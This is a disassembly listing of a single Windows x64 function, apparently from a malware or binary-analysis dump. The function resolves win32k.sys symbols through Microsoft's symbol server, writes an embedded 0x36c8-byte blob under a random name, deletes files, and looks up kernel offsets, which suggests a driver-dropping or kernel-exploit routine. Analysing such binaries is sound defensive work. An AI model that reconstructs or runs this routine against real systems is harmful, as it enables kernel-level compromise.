Function at 0x1400c19c0
Capabilities:
Delete file

Disassembly:
mov byte [rsp + 8], cl
sub rsp, 0x2c8
mov rax, qword [0x140122940]
xor rax, rsp
mov qword [rsp + 0x2b8], rax
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x14010a5f8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea r8, str.systemroot
lea rdx, [rsp + 0x2b0]
lea rcx, [rsp + 0x1f8]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
nop
mov rdx, qword [rsp + 0x1f8]
lea rcx, [rsp + 0x178]
call fcn.140018360
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x70], rax
lea r8, str.System32win32k.sys
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x228]
call fcn.1400036d0
nop
lea rcx, [rsp + 0x178]
call fcn.14001a790
nop
mov rcx, qword [rsp + 0x1f8]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
nop
mov edx, 0x58
lea rcx, [rsp + 0x250]
call fcn.140022300
lea rax, [rsp + 0x198]
mov qword [rsp + 0x78], rax
lea rdx, str.https:__msdl.microsoft.com_download_symbols
mov rcx, qword [rsp + 0x78]
call fcn.140018360
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0xa0], rax
lea rax, [rsp + 0x1b8]
mov qword [rsp + 0x90], rax
lea rdx, [rsp + 0x228]
mov rcx, qword [rsp + 0x90]
call fcn.1400181c0
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0xa8], rax
mov r8, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0xa8]
lea rcx, [rsp + 0x250]
call fcn.1400bf4a0
nop
lea rcx, [rsp + 0x250]
call fcn.1400c4990
movzx eax, al
test eax, eax
jne 0x1400c1b6b
mov qword [rsp + 0xb0], 0xffffffffffffffff
lea rcx, [rsp + 0x250]
call fcn.1400bf610
nop
lea rcx, [rsp + 0x228]
call fcn.14001a790
mov rax, qword [rsp + 0xb0]
jmp 0x1400c224d
lea rax, [rsp + 0x1d8]
mov qword [rsp + 0xb8], rax
lea rdx, [0x14010a660]
mov rcx, qword [rsp + 0xb8]
call fcn.140018360
mov qword [rsp + 0xc0], rax
mov rdx, qword [rsp + 0xc0]
lea rcx, [rsp + 0x250]
call fcn.1400c48b0
mov dword [rsp + 0x3c], eax
cmp dword [rsp + 0x3c], 0xffffffff
jne 0x1400c1beb
mov qword [rsp + 0xc8], 0xffffffffffffffff
lea rcx, [rsp + 0x250]
call fcn.1400bf610
nop
lea rcx, [rsp + 0x228]
call fcn.14001a790
mov rax, qword [rsp + 0xc8]
jmp 0x1400c224d
xor ecx, ecx
call fcn.1400c5330
mov qword [rsp + 0xd0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rcx, qword [rsp + 0xd0]
imul ecx, eax
mov eax, ecx
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov r8d, 0x64
xor edx, edx
lea rcx, [0x1401241b0]
call sub.VCRUNTIME140.dll_memset
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x14
idiv ecx
mov eax, edx
add eax, 0xa
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x38], 0
jmp 0x1400c1c54
mov eax, dword [rsp + 0x38]
inc eax
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x38], eax
jge 0x1400c1c90
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdqe
xor edx, edx
mov ecx, 0x34
div rcx
mov rax, rdx
lea rcx, str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
movsxd rdx, dword [rsp + 0x38]
lea r8, [0x1401241b0]
movzx eax, byte [rcx + rax]
mov byte [r8 + rdx], al
jmp 0x1400c1c4a
lea rcx, [rsp + 0x208]
call fcn.1400c14c0
nop
lea rcx, [rsp + 0x208]
call fcn.140029770
movzx eax, al
test eax, eax
je 0x1400c1cf4
mov qword [rsp + 0xd8], 0xffffffffffffffff
lea rcx, [rsp + 0x208]
call fcn.1400acfd0
nop
lea rcx, [rsp + 0x250]
call fcn.1400bf610
nop
lea rcx, [rsp + 0x228]
call fcn.14001a790
mov rax, qword [rsp + 0xd8]
jmp 0x1400c224d
lea rcx, [rsp + 0x208]
call fcn.14003a800
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
nop
mov r8d, 0x36c8
lea rdx, [0x14010ad80]
lea rcx, [rsp + 0x208]
call fcn.140039a30
movzx eax, al
test eax, eax
jne 0x1400c1d6e
mov qword [rsp + 0xe0], 0xffffffffffffffff
lea rcx, [rsp + 0x208]
call fcn.1400acfd0
nop
lea rcx, [rsp + 0x250]
call fcn.1400bf610
nop
lea rcx, [rsp + 0x228]
call fcn.14001a790
mov rax, qword [rsp + 0xe0]
jmp 0x1400c224d
lea rcx, [rsp + 0x208]
call fcn.1400c8fd0
movzx eax, al
test eax, eax
jne 0x1400c1ddb
lea rcx, [rsp + 0x208]
call fcn.14003a800
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
nop
mov qword [rsp + 0xe8], 0xffffffffffffffff
lea rcx, [rsp + 0x208]
call fcn.1400acfd0
nop
lea rcx, [rsp + 0x250]
call fcn.1400bf610
nop
lea rcx, [rsp + 0x228]
call fcn.14001a790
mov rax, qword [rsp + 0xe8]
jmp 0x1400c224d
mov qword [rsp + 0x30], 0xffffffffffffffff
lea rcx, [0x140124228]
call fcn.1400c6770
movzx eax, al
test eax, eax
jne 0x1400c1e44
mov rcx, qword [rsp + 0x30]
call fcn.1400c3190
nop
mov qword [rsp + 0xf0], 0xffffffffffffffff
lea rcx, [rsp + 0x208]
call fcn.1400acfd0
nop
lea rcx, [rsp + 0x250]
call fcn.1400bf610
nop
lea rcx, [rsp + 0x228]
call fcn.14001a790
mov rax, qword [rsp + 0xf0]
jmp 0x1400c224d
lea rdx, [0x14010a678]
lea rcx, [rsp + 0x138]
call fcn.140018360
nop
lea rcx, [rsp + 0x138]
call fcn.140039e00
mov qword [0x140124218], rax
lea rcx, [rsp + 0x138]
call fcn.14001a790
nop
cmp qword [0x140124218], 0
jne 0x1400c1ed2
mov rcx, qword [rsp + 0x30]
call fcn.1400c3190
nop
mov qword [rsp + 0xf8], 0xffffffffffffffff
lea rcx, [rsp + 0x208]
call fcn.1400acfd0
nop
lea rcx, [rsp + 0x250]
call fcn.1400bf610
nop
lea rcx, [rsp + 0x228]
call fcn.14001a790
mov rax, qword [rsp + 0xf8]
jmp 0x1400c224d
lea rdx, str.win32k.sys
lea rcx, [rsp + 0x158]
call fcn.140018360
nop
lea rcx, [rsp + 0x158]
call fcn.140039e00
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x158]
call fcn.14001a790
nop
cmp qword [rsp + 0x50], 0
jne 0x1400c1f5c
mov rcx, qword [rsp + 0x30]
call fcn.1400c3190
nop
mov qword [rsp + 0x100], 0xffffffffffffffff
lea rcx, [rsp + 0x208]
call fcn.1400acfd0
nop
lea rcx, [rsp + 0x250]
call fcn.1400bf610
nop
lea rcx, [rsp + 0x228]
call fcn.14001a790
mov rax, qword [rsp + 0x100]
jmp 0x1400c224d
movsxd rax, dword [rsp + 0x3c]
mov rcx, qword [rsp + 0x50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x108], rax
lea rax, [0x14010a694]
mov qword [rsp + 0x20], rax
lea r9, [0x14010a698]
mov r8d, 0x100
mov rdx, qword [rsp + 0x108]
mov rcx, qword [rsp + 0x30]
call fcn.1400c1040
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x1400c1ff9
mov rcx, qword [rsp + 0x30]
call fcn.1400c3190
nop
mov qword [rsp + 0x110], 0xffffffffffffffff
lea rcx, [rsp + 0x208]
call fcn.1400acfd0
nop
lea rcx, [rsp + 0x250]
call fcn.1400bf610
nop
lea rcx, [rsp + 0x228]
call fcn.14001a790
mov rax, qword [rsp + 0x110]
jmp 0x1400c224d
mov dword [rsp + 0x200], 0
mov rax, qword [rsp + 0x48]
add rax, 3
mov r9d, 4
lea r8, [rsp + 0x200]
mov rdx, rax
mov rcx, qword [rsp + 0x30]
call fcn.1400c2e70
movzx eax, al
test eax, eax
jne 0x1400c207c
mov rcx, qword [rsp + 0x30]
call fcn.1400c3190
nop
mov qword [rsp + 0x118], 0xffffffffffffffff
lea rcx, [rsp + 0x208]
call fcn.1400acfd0
nop
lea rcx, [rsp + 0x250]
call fcn.1400bf610
nop
lea rcx, [rsp + 0x228]
call fcn.14001a790
mov rax, qword [rsp + 0x118]
jmp 0x1400c224d
movsxd rax, dword [rsp + 0x200]
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + rax + 7]
mov qword [0x140124220], rax
movzx eax, byte [rsp + 0x2d0]
test eax, eax
je 0x1400c2216
mov rcx, qword [rsp + 0x30]
call fcn.1400c03d0
movzx eax, al
test eax, eax
jne 0x1400c2103
mov rcx, qword [rsp + 0x30]
call fcn.1400c3190
nop
mov qword [rsp + 0x120], 0xffffffffffffffff
lea rcx, [rsp + 0x208]
call fcn.1400acfd0
nop
lea rcx, [rsp + 0x250]
call fcn.1400bf610
nop
lea rcx, [rsp + 0x228]
call fcn.14001a790
mov rax, qword [rsp + 0x120]
jmp 0x1400c224d
mov rcx, qword [rsp + 0x30]
call fcn.1400bf870
movzx eax, al
test eax, eax
jne 0x1400c2161
mov rcx, qword [rsp + 0x30]
call fcn.1400c3190
nop
mov qword [rsp + 0x128], 0xffffffffffffffff
lea rcx, [rsp + 0x208]
call fcn.1400acfd0
nop
lea rcx, [rsp + 0x250]
call fcn.1400bf610
nop
lea rcx, [rsp + 0x228]
call fcn.14001a790
mov rax, qword [rsp + 0x128]
jmp 0x1400c224d
mov rcx, qword [0x140124228]
call fcn.1400bfff0
movzx eax, al
test eax, eax
jne 0x1400c21c1
mov rcx, qword [rsp + 0x30]
call fcn.1400c3190
nop
mov qword [rsp + 0x130], 0xffffffffffffffff
lea rcx, [rsp + 0x208]
call fcn.1400acfd0
nop
lea rcx, [rsp + 0x250]
call fcn.1400bf610
nop
lea rcx, [rsp + 0x228]
call fcn.14001a790
mov rax, qword [rsp + 0x130]
jmp 0x1400c224d
mov rcx, qword [rsp + 0x30]
call fcn.1400c07f0
movzx eax, al
test eax, eax
jne 0x1400c2216
mov rcx, qword [rsp + 0x30]
call fcn.1400c3190
nop
mov qword [rsp + 0x58], 0xffffffffffffffff
lea rcx, [rsp + 0x208]
call fcn.1400acfd0
nop
lea rcx, [rsp + 0x250]
call fcn.1400bf610
nop
lea rcx, [rsp + 0x228]
call fcn.14001a790
mov rax, qword [rsp + 0x58]
jmp 0x1400c224d
mov qword [rsp + 0x60], 0
lea rcx, [rsp + 0x208]
call fcn.1400acfd0
nop
lea rcx, [rsp + 0x250]
call fcn.1400bf610
nop
lea rcx, [rsp + 0x228]
call fcn.14001a790
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x2b8]
xor rcx, rsp
call fcn.1400ca200
add rsp, 0x2c8
ret